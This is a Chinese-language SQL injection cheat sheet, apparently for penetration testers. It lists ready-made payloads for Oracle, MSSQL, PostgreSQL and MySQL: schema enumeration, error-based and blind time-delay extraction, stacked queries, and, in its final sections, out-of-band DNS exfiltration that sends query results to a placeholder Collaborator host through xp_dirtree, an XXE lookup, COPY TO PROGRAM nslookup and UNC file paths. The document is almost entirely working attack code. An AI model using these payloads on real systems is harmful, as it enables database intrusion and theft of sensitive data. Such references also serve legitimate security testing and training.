跳转至

SQL 注入漏洞

字符串连接

可以将多个字符串连接起来,形成一个字符串。

Text Only
# Oracle
'foo'||'bar'

# MSSQL
'foo'+'bar'

# PostgreSQL
'foo'||'bar'

# MySQL
'foo' 'bar'  [注意两行文字之间的空格]
CONCAT('foo','bar')

子字符串

可以从指定的偏移量提取指定长度的字符串的一部分。请注意,偏移量索引从 1 开始。以下每个表达式都将返回字符串 ba。

Text Only
# Oracle
SUBSTR('foobar', 4, 2)

# MSSQL
SUBSTRING('foobar', 4, 2)

# PostgreSQL
SUBSTRING('foobar', 4, 2)

# MySQL
SUBSTRING('foobar', 4, 2)

注释

可以使用注释来截断查询,并删除原始查询中紧随输入之后的部分。

Text Only
# Oracle
--comment

# MSSQL
--comment
/*comment*/

# PostgreSQL
--comment
/*comment*/

# MySQL
#comment
-- comment  [注意双破折号后的空格]
/*comment*/

数据库版本

可以查询数据库以确定其类型和版本。此信息在设计更复杂的攻击时非常有用。

Text Only
# Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance

# MSSQL
SELECT @@version

# PostgreSQL
SELECT version()

# MySQL
SELECT @@version

数据库内容

可以列出数据库中存在的表以及这些表包含的列。

Text Only
# Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

# MSSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

# PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

# MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

可以测试单个布尔条件,如果条件为真,则触发数据库错误。

Text Only
# Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

# MSSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

# PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

# MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

通过可见的错误信息提取数据

恶意查询可能会引发错误信息,从而泄露敏感数据。

Text Only
# MSSQL
SELECT 'foo' WHERE 1 = (SELECT 'secret')
# 返回结果示例: Conversion failed when converting the varchar value 'secret' to data type int.

# PostgreSQL
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
# 返回结果示例: invalid input syntax for integer: "secret"

# MySQL
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
# 返回结果示例: XPATH syntax error: '\secret'

批量(或堆叠)查询

可以使用批量查询来连续执行多个查询。请注意,在执行后续查询的同时,结果不会返回给应用程序。因此,此技术主要用于应对盲漏洞,例如可以使用第二个查询来触发 DNS 查询、条件错误或时间延迟。

Text Only
# Oracle
不支持批量(或堆叠)查询

# MSSQL
QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE

# PostgreSQL
QUERY-1-HERE; QUERY-2-HERE

# MySQL
QUERY-1-HERE; QUERY-2-HERE

注意: 通常情况下,MySQL 的批量查询无法用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库通信,则偶尔仍可能出现 SQL 注入的情况。

时间延迟

可以在数据库处理查询时设置时间延迟。以下操作将无条件地设置 10 秒的时间延迟。

Text Only
# Oracle
dbms_pipe.receive_message(('a'),10)

# MSSQL
WAITFOR DELAY '0:0:10'

# PostgreSQL
SELECT pg_sleep(10)

# MySQL
SELECT SLEEP(10)

条件时间延迟

可以测试单个布尔条件,如果条件为真,则触发时间延迟。

Text Only
# Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

# MSSQL
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

# PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

# MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS 查询(测试)

可以让数据库对外部域执行 DNS 查询。为此,需要使用 Burp Collaborator 生成一个唯一的 Burp Collaborator 子域,该子域将用于您的攻击,然后轮询 Collaborator 服务器以确认 DNS 查询是否已发生。在实战过程可使用 DNSlog 执行攻击。

Text Only
# Oracle
# (XXE)漏洞可触发 DNS 查询。该漏洞已修复,但仍有许多 Oracle 安装未打补丁:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

# 以下方法适用于已完全打好补丁的 Oracle 系统,但需要提升权限:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

# MSSQL
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

# PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

# MySQL
# 以下方法仅适用于 Windows 系统:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

利用数据泄露进行 DNS 查询

可以让数据库对包含注入查询结果的外部域执行 DNS 查询。为此,需要使用 Burp Collaborator 生成一个唯一的 Burp Collaborator 子域,用于你的攻击,然后轮询 Collaborator 服务器以检索所有 DNS 交互的详细信息,包括泄露的数据。

Text Only
# Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

# MSSQL
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')

# PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

# MySQL
# 以下方法仅适用于 Windows 系统:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'